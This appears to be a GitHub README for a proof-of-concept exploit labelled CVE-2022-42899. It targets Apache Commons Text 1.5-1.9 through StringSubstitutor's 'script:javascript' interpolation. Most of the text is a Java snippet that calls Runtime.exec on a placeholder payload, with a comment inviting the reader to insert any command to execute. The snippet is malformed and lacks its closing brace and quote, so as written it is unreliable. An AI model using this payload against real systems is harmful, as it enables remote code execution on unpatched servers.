iamsanjay/cve-2022-42899Proof-of-concept exploit for CVE-2022-42899, demonstrating remote code execution in Apache Commons Text 1.5-1.9 via StringSubstitutor interpolation with script:javascript payloads.
Apache Common Text starting from version 1.5 to 1.9 has Remote code execution vulnerability CVE-2022-42899.
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('<payload to execute RCE>"); // Here you will pass payload which you want to execute such as 'mkdir /tmp/cve-2022-42899'